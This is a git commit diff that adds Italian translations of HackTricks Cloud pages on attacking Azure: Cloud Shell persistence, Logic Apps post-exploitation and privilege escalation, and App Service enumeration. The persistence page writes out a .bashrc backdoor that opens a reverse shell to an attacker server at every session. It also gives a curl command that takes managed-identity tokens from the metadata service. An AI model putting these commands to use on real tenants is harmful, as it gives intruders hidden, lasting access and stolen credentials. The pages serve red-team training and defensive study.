Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

This commit is contained in:
Translator
2025-01-26 15:20:21 +00:00
parent c0d36490f1
commit 234daee4bb
12 changed files with 845 additions and 56 deletions

View File

@@ -0,0 +1,56 @@
# Az - Cloud Shell Persistence
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cloud Shell Persistence
Azure Cloud Shell offre accesso da riga di comando per gestire le risorse Azure con archiviazione persistente e autenticazione automatica. Gli attaccanti possono sfruttare questo posizionando backdoor nella directory home persistente:
* **Archiviazione Persistente**: La directory home di Azure Cloud Shell è montata su una condivisione file Azure e rimane intatta anche dopo la fine della sessione.
* **Script di Avvio**: File come .bashrc vengono eseguiti automaticamente all'inizio di ogni sessione, consentendo un'esecuzione persistente quando si avvia il cloud shell.
Esempio di backdoor in .bashrc:
{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
{% endcode %}
Questo backdoor può eseguire comandi anche 5 minuti dopo che la shell cloud è stata terminata dall'utente.
Inoltre, interroga il servizio di metadata di Azure per dettagli sull'istanza e token:
{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
{% endcode %}
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View File

@@ -0,0 +1,181 @@
# Az - Logic Apps Post Exploitation
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
## Post Exploitation del Database di Logic Apps
Per ulteriori informazioni sulle logic apps controlla:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
Con questi permessi, puoi modificare i flussi di lavoro delle Logic App e gestire le loro identità. In particolare, puoi assegnare o rimuovere identità gestite assegnate dal sistema e identità gestite assegnate dall'utente ai flussi di lavoro, il che consente alla Logic App di autenticarsi e accedere ad altre risorse Azure senza credenziali esplicite.
{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
--resource-group <resource_group_name> \
--system-assigned true \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
{% endcode %}
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
Con queste autorizzazioni, puoi creare o aggiornare Logic Apps ospitate su un App Service Plan. Questo include la modifica delle impostazioni come l'attivazione o la disattivazione dell'applicazione forzata di HTTPS.
{% code overflow="wrap" %}
```bash
az logicapp update \
--resource-group <resource_group_name> \
--name <logic_app_name> \
--set httpsOnly=false
```
{% endcode %}
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
Con questo permesso, puoi avviare/arrestare/riavviare un'app web, comprese le Logic Apps ospitate su un App Service Plan. Questa azione garantisce che un'app precedentemente arrestata venga riportata online e riprenda la sua funzionalità. Questo può interrompere i flussi di lavoro, attivare operazioni non intenzionali o causare inattività avviando, arrestando o riavviando inaspettatamente le Logic Apps.
{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name <logic_app_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
Con questo permesso, puoi configurare o modificare le impostazioni per le app web, comprese le Logic Apps ospitate su un App Service Plan. Ciò consente di apportare modifiche alle impostazioni dell'app, alle stringhe di connessione, alle configurazioni di autenticazione e altro ancora.
{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--settings "<key>=<value>"
```
{% endcode %}
### "Microsoft.Logic/integrationAccounts/write"
Con questo permesso, puoi creare, aggiornare o eliminare gli account di integrazione di Azure Logic Apps. Questo include la gestione delle configurazioni a livello di account di integrazione come mappe, schemi, partner, accordi e altro ancora.
{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group <resource_group_name> \
--name <integration_account_name> \
--location <location> \
--sku <Standard|Free> \
--state Enabled
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
Con questo permesso, puoi creare o modificare le configurazioni batch all'interno di un account di integrazione di Azure Logic Apps. Le configurazioni batch definiscono come Logic Apps elaborano e raggruppano i messaggi in arrivo per l'elaborazione batch.
{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <batch_configuration_name> \
--release-criteria '{
"messageCount": 100,
"batchSize": 1048576,
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
Con questo permesso, puoi creare o modificare le mappe all'interno di un account di integrazione di Azure Logic Apps. Le mappe vengono utilizzate per trasformare i dati da un formato all'altro, consentendo un'integrazione fluida tra diversi sistemi e applicazioni.
{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <map_name> \
--map-type <Xslt|Xslt20|Xslt30> \
--content-type application/xml \
--map-content map-content.xslt
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
Con questo permesso, puoi creare o modificare partner in un account di integrazione di Azure Logic Apps. I partner rappresentano entità o sistemi che partecipano a flussi di lavoro business-to-business (B2B).
{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <partner_name> \
--partner-type <partner-type> \
--content '{
"b2b": {
"businessIdentities": [
{
"qualifier": "ZZ",
"value": "TradingPartner1"
}
]
}
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
Con questo permesso, puoi creare o modificare sessioni all'interno di un account di integrazione Azure Logic Apps. Le sessioni sono utilizzate nei flussi di lavoro B2B per raggruppare i messaggi e tenere traccia delle transazioni correlate su un periodo definito.
{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <session_name> \
--content '{
"properties": {
"sessionId": "session123",
"data": {
"key1": "value1",
"key2": "value2"
}
}
}'
```
{% endcode %}
### "*/delete"
Con queste autorizzazioni puoi eliminare risorse relative ad Azure Logic Apps
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View File

@@ -0,0 +1,77 @@
# Az - Logic Apps Privesc
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
## Logic Apps Privesc
Per ulteriori informazioni su SQL Database controlla:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
Con questo permesso, puoi creare o aggiornare i flussi di lavoro di Azure Logic Apps. I flussi di lavoro definiscono processi automatizzati e integrazioni tra vari sistemi e servizi.
{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group <resource_group_name> \
--name <workflow_name> \
--definition <workflow_definition_file.json> \
--location <location>
az logic workflow update \
--name my-new-workflow \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
E dopo averlo modificato, puoi eseguirlo con:
```bash
az rest \
--method post \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
Con queste autorizzazioni, puoi distribuire flussi di lavoro di Logic App utilizzando distribuzioni di file ZIP. Queste autorizzazioni abilitano azioni come la lettura dei dettagli dell'app, l'accesso alle credenziali di pubblicazione, la scrittura delle modifiche e l'elenco delle configurazioni dell'app. Insieme alle autorizzazioni di avvio, puoi aggiornare e distribuire una nuova Logic App con il contenuto desiderato
{% code overflow="wrap" %}
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View File

@@ -21,10 +21,10 @@ Le app hanno alcune configurazioni interessanti:
- Questo è essenziale se hai un webjob che deve funzionare continuamente, poiché il webjob si fermerà se l'app si ferma.
- **SSH**: Se abilitato, un utente con permessi sufficienti può connettersi all'app utilizzando SSH.
- **Debugging**: Se abilitato, un utente con permessi sufficienti può eseguire il debug dell'app. Tuttavia, questo viene disabilitato automaticamente ogni 48 ore.
- **Web App + Database**: La console web consente di creare un'app con un database. In questo caso è possibile selezionare il database da utilizzare (SQLAzure, PostgreSQL, MySQL, MongoDB) e consente anche di creare una Cache Azure per Redis.
- **Web App + Database**: La console web consente di creare un'app con un database. In questo caso è possibile selezionare il database da utilizzare (SQLAzure, PostgreSQL, MySQL, MongoDB) e consente anche di creare una Cache di Azure per Redis.
- L'URL contenente le credenziali per il database e Redis sarà memorizzato nelle **appsettings**.
- **Container**: È possibile distribuire un container nel App Service indicando l'URL del container e le credenziali per accedervi.
- **Mounts**: È possibile creare 5 mount da account di archiviazione, essendo questi Azure Blob (sola lettura) o Azure Files. La configurazione memorizzerà la chiave di accesso sull'Account di Archiviazione.
- **Mounts**: È possibile creare 5 mount da account di archiviazione, essendo questi Azure Blob (Sola lettura) o Azure Files. La configurazione memorizzerà la chiave di accesso sull'Account di Archiviazione.
## Basic Authentication
@@ -41,7 +41,7 @@ Lo SCM
Kudu è la piattaforma che **gestisce sia lo SCM che un'interfaccia web e API** per gestire un App Service, e fornisce distribuzioni basate su Git, debug remoto e capacità di gestione dei file. È accessibile tramite l'URL SCM definito nell'app web.
Nota che le versioni di Kudu utilizzate da App Services e da Function Apps sono diverse, con la versione delle Function apps molto più limitata.
Nota che le versioni di Kudu utilizzate da App Services e da Function Apps sono diverse, con la versione delle Function Apps molto più limitata.
Alcuni endpoint interessanti che puoi trovare in Kudu sono:
- `/BasicAuth`: Devi accedere a questo percorso per **accedere a Kudu**.
@@ -181,10 +181,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.Websites
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
# Retrieves details of a specific App Service Environment in the specified resource group.
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the access restriction configuration for a specified Web App.
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the SSL certificates for a specified resource group.
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
# Retrieves the continuous deployment URL for a containerized Web App.
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of continuous WebJobs for a specified Web App.
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the list of triggered WebJobs for a specified Web App.
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves details of a deleted Web App in the specified resource group.
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves a list of snapshots for a specified Web App.
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the history of a specific triggered WebJob for a Web App.
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
# Retrieves information about deployment slots for a specified Web App.
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
# Retrieves the continuous WebJobs for a Web App.
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the traffic routing rules for a Web App.
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
# Retrieves details of a specific backup for a Web App.
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
# Retrieves the backup configuration for a Web App.
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of all backups for a Web App.
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{{#endtab }}
@@ -241,7 +286,7 @@ az webapp up --runtime PYTHON:3.9 --sku B1 --logs
Accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web.
> [!TIP]
> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` non è sufficiente per cambiare il codice eseguito dall'app web.
> Basta connettersi tramite FTP e modificare il file `output.tar.gz` non è sufficiente per cambiare il codice eseguito dall'app web.
**Un attaccante potrebbe scaricare questo file, modificarlo e caricarlo di nuovo per eseguire codice arbitrario nell'app web.**
@@ -256,7 +301,7 @@ Questo tutorial si basa sul precedente ma utilizza un repository Github.
Come nel caso precedente, accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web.
> [!TIP]
> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` e riattivare un deployment non è sufficiente per cambiare il codice eseguito dall'app web.
> Basta connettersi tramite FTP e modificare il file `output.tar.gz` e riattivare un deployment non è sufficiente per cambiare il codice eseguito dall'app web.
## Privilege Escalation

View File

@@ -0,0 +1,58 @@
# Az - Cloud Shell
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}
## Azure Cloud Shell
**Azure Cloud Shell** è un terminale interattivo, autenticato e accessibile tramite browser progettato per gestire le risorse Azure, offrendo la flessibilità di lavorare con Bash o PowerShell. Funziona su un host temporaneo, per sessione, che scade dopo 20 minuti di inattività, mentre i file vengono mantenuti nella posizione $HOME utilizzando una condivisione di file da 5 GB. Cloud Shell può essere accessibile attraverso più punti, inclusi il portale Azure, shell.azure.com, la documentazione di Azure CLI e PowerShell, l'app mobile Azure e l'estensione Azure Account di Visual Studio Code.
Non ci sono permessi assegnati a questo servizio, quindi non ci sono tecniche di escalation dei privilegi. Inoltre, non c'è alcun tipo di enumerazione.
### Caratteristiche principali
**Ambiente**: Azure Cloud Shell fornisce un ambiente sicuro eseguendo su Azure Linux, la distribuzione Linux di Microsoft progettata per l'infrastruttura cloud. Tutti i pacchetti inclusi nel repository Azure Linux sono compilati internamente da Microsoft per proteggere contro attacchi alla catena di fornitura.
**Strumenti preinstallati**: Cloud Shell include un insieme completo di strumenti preinstallati come Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editor di testo come vim, nano ed emacs. Questi strumenti sono pronti all'uso. Per elencare i pacchetti e i moduli installati puoi usare "Get-Module -ListAvailable", "tdnf list" e "pip3 list".
**Persistenza $HOME**: Quando avvii Azure Cloud Shell per la prima volta, puoi usarlo con o senza un account di archiviazione allegato. Scegliere di non allegare l'archiviazione crea una sessione effimera in cui i file vengono eliminati al termine della sessione. Per mantenere i file tra le sessioni, monta un account di archiviazione, che si allega automaticamente come **$HOME\clouddrive**, con la tua directory **$HOME** salvata come file **.img** in Azure File Share. Tuttavia, i file al di fuori di $HOME e gli stati della macchina non vengono mantenuti. Per memorizzare in modo sicuro segreti come le chiavi SSH, utilizza Azure Key Vault.
**Drive Azure (Azure:)**: PowerShell in Azure Cloud Shell include il drive Azure (Azure:), che consente una navigazione facile delle risorse Azure come Compute, Network e Storage utilizzando comandi simili a quelli del filesystem. Passa al drive Azure con cd Azure: e torna alla tua directory home con cd ~. Puoi comunque utilizzare i cmdlet di Azure PowerShell per gestire le risorse da qualsiasi drive.
**Installazione di strumenti personalizzati**: Gli utenti che configurano Cloud Shell con un account di archiviazione possono installare strumenti aggiuntivi che non richiedono permessi di root. Questa funzionalità consente una maggiore personalizzazione dell'ambiente Cloud Shell, consentendo agli utenti di adattare la propria configurazione alle proprie esigenze specifiche.
## Riferimenti
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistenza
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

View File

@@ -1,25 +1,25 @@
# Az - CosmosDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Supporta HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}
## Azure CosmosDB
**Azure Cosmos DB** è un **database NoSQL, relazionale e vettoriale completamente gestito** che offre tempi di risposta nell'ordine di un millisecondo, scalabilità automatica e disponibilità supportata da SLA con sicurezza di livello enterprise. Consente uno sviluppo più rapido delle app attraverso la distribuzione dei dati multi-regione "turnkey", API open-source, SDK per linguaggi popolari e funzionalità di database AI come il supporto vettoriale integrato e l'integrazione senza soluzione di continuità con Azure AI.
**Azure Cosmos DB** è un **database NoSQL, relazionale e vettoriale completamente gestito** che offre tempi di risposta in millisecondi a cifra singola, scalabilità automatica e disponibilità supportata da SLA con sicurezza di livello enterprise. Consente uno sviluppo più rapido delle app attraverso la distribuzione di dati multi-regione chiavi in mano, API open-source, SDK per linguaggi popolari e funzionalità di database AI come supporto vettoriale integrato e integrazione senza soluzione di continuità con Azure AI.
